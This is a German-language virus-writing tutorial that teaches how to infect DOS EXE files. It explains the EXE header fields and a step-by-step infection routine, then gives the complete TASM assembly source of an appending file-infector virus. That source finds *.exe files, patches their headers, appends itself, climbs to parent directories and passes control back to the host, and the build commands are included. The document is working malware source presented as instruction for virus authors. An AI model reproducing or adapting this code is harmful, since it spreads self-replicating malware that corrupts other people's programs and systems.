*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+* + Infektion von Exe-Dateien + * * + by SnakeByte + *+*+*+*+*+*+*+*+*+*+*+*+*+*+*+* Nachdem ihr es wohl geschafft habt einen COM-Infector zu schreiben ist euch sicherlich aufgefallen, das ihr nicht allzuviele 'echte' COM-Dateien auf eurer Festplatte habt. (Falls ihr noch keinen COM-Appender schreiben könnt solltet ihr erstmal das lernen) Die EXE-Dateien sind eindeutig in der Überzahl... deshalb werde ich euch heute erklären, wie man DOS-EXE Dateien mit einem Virus infiziert. Zwischen COM und EXE Dateien gibt es mehrere Unterschiede, von denen der wichtigste der EXE-Header ist... dieser besteht aus 28 bytes (1Ch). und enthält wichte Informationen für DOS, über das Programm. Hier eine kleine Tabelle: Die für uns wichtigen Elemente sind mit einem * markiert. Offset T Länge T Beschreibung ------------------------------------------------------------------------- 0h | 2h | EXE-Signatur, immer MZ oder ZM * 2h | 2h | Länge der Letzten Page * 4h | 2h | Anzahl der 512 byte Pages 6h | 2h | Anzahl der Relocation Einträge 8h | 2h | Länge des Headers in 16 byte paragraphs * 0Ah | 2h | Minimaler Speicherverbrauch in 16 byte paragraphs * 0Ch | 2h | Maximaler Speicherverbrauch in 16 byte paragraphs * 0Eh | 2h | Anfang Stack Segment * 10h | 2h | Anfangs Stack Pointer * 12h | 2h | Checksumme * 14h | 2h | Anfangs Instruction Pointer * 16h | 2h | Anfang Code Segment 18h | 2h | Relocations 1Ah | 2h | Overlays Schaun wir ersteinmal, was unser EXE-Virus leisten muss... 1. Datei öffnen .. :P 2. Einlesen der ersten 16h Bytes (Anfang des Headers) 3. Die ersten 2 Bytes auf MZ und ZM prüfen 4. Wenn weder MZ noch ZM eingetragen ist, nächste Datei suchen 5. Bereits erfolgte Infektion überprüfen 6. Wenn es infiziert ist nächste Datei suchen 7. Offset 14h und 16h des Headers speichern 8. Offset 0Eh und 10h des Headers speichern 9. Neue CS:IP berechnen 10. Last Page und Pages insgesamt neu berechnen 11. Header ersetzen 12. Virus anhängen 13. Datei schließen 14. nächste Datei suchen Das sieht erstmal kompliziert aus, deshalb gehe ich das alles nochmals einzeln durch.. 1. Datei öffnen ...muss ich dazu was sagen ? ;P 2. Einlesen der ersten 16h Bytes ...auch das solltet ihr können 3. Die ersten 2 Bytes auf MZ und ZM prüfen ...tja ..was soll ich dazu sagen ;) 4. ...nächste Datei suchen ...ehm.. 5. Bereits erfolgte Infection überprüfen Aha.. was neues.. bei EXE-Dateien bietet es sich an im Header an Offset 12h einen Marker zu setzen, an dem man eine infizierte Datei wiedererkennt, da normalerweise diese Stelle unbenutzt ist. Dies hat allerdings den Nachteil, das ein AV-Programm, nachdem es den Virus entfernt hat diese Stelle nicht auch auf 0 zurücksetzt, so das der Virus dann annimmt, daß die Datei bereits infiziert ist, und sie so vor einer Neuinfektion geschützt ist. Besser, wenn auch komplizierter ist es, zu überprüfen, wo der Einstieg in das Programm stattfindet (CS:IP) zu diesem Offset die Länge des Viruses dazuaddiert und dann schaut ob dieser Wert der Länge des Programms entspricht. Wenn ja, ist die Datei bereits infiziert, ansonsten ein Opfer. 6. ...nächste Datei suchen ...gähn .. :] 7. Offset 14h und 16h des Headers speichern An diesem Offset befinden sich IP und CS. Also Code Segment und Instruction Pointer-Werte mit denen das Programm gestartet wird. Eine EXE-Datei fängt also nicht zwangsläufig vorne an, wie eine COM-Datei. Diese Werte müssen wir speichern um später das alte Programm wieder zum laufen zu bringen. 8. Offset 0Eh und 10h des Headers speichern Auch das Stack Segment und den Stack Pointer müssen wir sichern um das alte Programm wieder ordnungsgemäß auszuführen. 9. Neue CS:IP berechnen Da unser Virus ja am Ende der Datei hängt müssen wir nun im Header eintragen, das er mit unserem Virus starten soll.. 10. Last Page und Pages insgesamt neu berechnen An diesen beiden Offsets steht die Größe der EXE-Datei in 512 bytes Pages. An Offset 6h steht die Anzahl aller Pages an Offet 4h steht die Länge der letzten Page, da ja unbeding alle 512 bytes belegt sein müssen. 11. Header ersetzen Nun setzen wir die neu errechneten Werte in den gespeicherten Header ein und schreiben ihn über den Alten. 12. Virus anhängen ... 13. Datei schließen ... ;) 14. nächste Datei suchen ... =] So, ich geb zu das ist teilweise etwas strange, aber lest euch das ganze ein paar mal durch und arbeitet euch durch den Source-Code dann sollte das ganze eigentlich klar werden... ; Dies ist eine uralte, abgespeckte Version meines Koshi-Viruses.. ; hoffe es hilft euch ; ; kompiliert ihn mit: tasm Koshi2.asm /n/p/t/w/z/m4 ; tlink koshi2 /d/x ; ; .model tiny .radix 16 ;mit radix 16 kann man das h für hexzahlen weglassen code segment assume cs:code,ds:code ;definieren wir die Segmente org 0h ;Diesmal basteln wir eine .EXE Datei Start: call delta ;delta offset berechnen delta: pop bx xchg bx,bp sub bp,offset delta Code_Start: push ds push es ;altes Data Segment sichern ;ds und es = cs push cs pop es push cs pop ds lea dx,[bp+NewDTA] ;DTA sichern mov ah,1ah int 21h lea di,[bp+IPstored] ;wiederherstellen von IP,CS,SP,SS lea si,[bp+IpOld] mov cx,4h rep movsw mov dl, 0h ;Standart Laufwerk mov ah, 47h ;Verzeichnis lesen lea si,[bp+offset dir+1h] ;abspeichern int 21h Get_first: mov ah,4eh ;erste Datei finden find_next: mov cx,7h ;mit allen Attributen lea dx,[bp+filemask] ;finde *.EXE int 21h jnc save_adt ;gefunden ? jmp dotdot ;nix gefunden ? ;*** Attribute und Header speichern save_adt: lea si,[bp+Offset Newdta+21h] ;Attribute + Datum / Zeit speichern lea di,[bp+Offset Attributes] mov cx,5h rep movsb mov ax,4301h ;Attribute entfernen xor cx,cx lea dx,[bp+offset Newdta+1eh] int 21h mov ax,3d02h ;Öffnen für Lesen+Schreiben lea dx,[bp+offset Newdta+1eh] int 21h jc Find_other ;Fehler ? nächste suchen xchg ax,bx ;File Handle speichern mov ah,3fh ;EXE-header sichern mov cx, 1ah lea dx,[bp+offset header] int 21h cmp word ptr [bp+offset header],'ZM' ;Nach EXE-Marker suchen je win_exe cmp word ptr [bp+offset header],'MZ' je win_exe CALL CLOSE_FILE ;Close file and find next jmp Find_Other win_exe: cmp byte ptr [bp+offset header+18h],'@' ;wir wollen nur DOS-Exe Dateien jne go_on ;infizieren, da Windows-EXE Dateien CALL CLOSE_FILE ;anders aufgebaut sind jmp Find_other go_on: ;ist die Datei bereits infiziert ? cmp byte ptr [bp+offset header+12h],'S' jnz SAVE_OTHERS find_Other: ;finde ne andere mov ah,4fh jmp FIND_NEXT ;*** Berechnen von SS,SP,IP,CS für die neue Datei SAVE_OTHERS: push bx ;File Handle speichern mov ax,word ptr [bp+header+0eh] ;SS für neuen Header speichern mov word ptr [bp+SSold],ax mov ax,word ptr [bp+header+10h] ;SP für neuen Header speichern mov word ptr [bp+SPold],ax mov ax,word ptr [bp+header+14h] ;IP für neuen Header speichern mov word ptr [bp+IPold],ax mov ax,word ptr [bp+header+16h] ;CS für neuen Header speichern mov word ptr [bp+CSold],ax go_on4: mov ax,4202h ;Dateilänge ermitteln xor cx,cx ;in DX:AX xor dx,dx int 21h push ax ;Dateilänge speichern push dx mov bx,word ptr [bp+header+8h] ;Header länge ermitteln mov cl,4h ;in bytes umwandeln shl bx,cl sub ax,bx ;Header von Dateilänge subtrahieren sbb dx,0 mov cx,10h div cx mov word ptr [bp+header+14h],dx ;IP mov word ptr [bp+header+16h],ax ;CS mov word ptr [bp+header+0eh],ax ;SS = CS mov word ptr [bp+header+10h],0fffeh ;SP mov byte ptr [bp+header+12h],'S' ;Unsere Marke 'S' ;*** Ermittle Pages für neuen EXE header und Min Memory ändern pop dx ;Dateilänge wiederherstellen pop ax ;um pages zu ermitteln push ax ;offset sichern add ax,Endvirus-Start ;Viruslänge addieren adc dx,0h mov cl,7h ;Anzahl der Pages ermitteln shl dx,cl mov cl,9h shr ax,cl add ax,dx inc ax mov word ptr [bp+header+04h],ax ;Im Header speichern pop ax ;Offset wiederherstellen um mov dx,ax ;die Länge der letzten Page zu berechnen shr ax,cl shl ax,cl sub dx,ax mov word ptr [bp+header+02h],dx ;Speichern mov ax, Endvirus-Start ;min. Memory ändern add ax, 1eh shr ax, 4h add ax, 14h ;14h Bytes für Stack addieren add word ptr [bp+header+0ah],ax ;Viruslänge in Pages addieren ;*** Write Virus to EXE file pop bx ;File Handle wiederherstellen mov ah,40h ;Virus anhängen mov cx,Endvirus-Start lea dx,[bp+Start] int 21h mov ax,4200h ;Zum Start gehen xor cx,cx xor dx,dx int 21h mov ah,40h ;Header schreiben mov cx,1a lea dx,[bp+header] int 21h call CLOSE_FILE ;Datei schließen jmp Quit ;*** Directory Traversal (cd..) dotdot: mov ah,3bh ; ein simples lea dx,[bp+offset punkte] ; cd .. int 21h jc quit ;error ? quit.. jmp Get_first ;erste Datei ermitteln ;*** Restore old settings and execute host Quit: ;immer nur eine Datei infizieren lea si,[bp+offset dir] ;altes Verzeichnis wiederherstellen mov byte ptr [si],'\' mov ah,3Bh xchg dx,si int 21h pop ds pop es mov ah,1ah ;DTA wiederherstellen mov dx,80h int 21h mov ax,es ;PSP korrigieren add ax,10h add word ptr cs:[bp+CSstored],ax ;CS wiederherstellen cli ;INT Flag löschen add ax,word ptr cs:[bp+SSstored] ;SS wiederherstellen mov ss,ax mov sp,word ptr cs:[bp+SPstored] ;SP wiederherstellen sti db 0ea ;jmp zu alter CS:IP (Anfangspunkt) IPstored dw 0 ;gespeicherte ip CSstored dw 0 ;gespeicherte cs SPstored dw 0 ;gespeicherte sp SSstored dw 0 ;gespeicherte ss IPold dw 0 ;alte ip,cs,sp,ss CSold dw 0fff0 SPold dw 0 SSold dw 0fff0 CLOSE_FILE: mov ah,3eh ;Datei schließen int 21h mov ax,4301h ;Attribute Datum/Zeit wiederherstellen lea dx,[bp+offset newdta+30h] xor ch,ch mov cl,byte ptr [bp+attributes] int 21h ret header db 1ah dup (?) ;Header attributes db ? ;Attributes time dw ? ;Zeit date dw ? ;Datum filemask db '*.exe',0 ;*.EXE Newdta db 42 dup (?) ;DTA dir db 65 dup (?) ;Verzeichnis punkte db '..',0 ;cd .. Endvirus: buffer: code ends end start Bis zum nächsten Tutorial.... SnakeByte Bei Fragen, Comments oder Kritik: SnakeByte@Kryptocrew.de ;)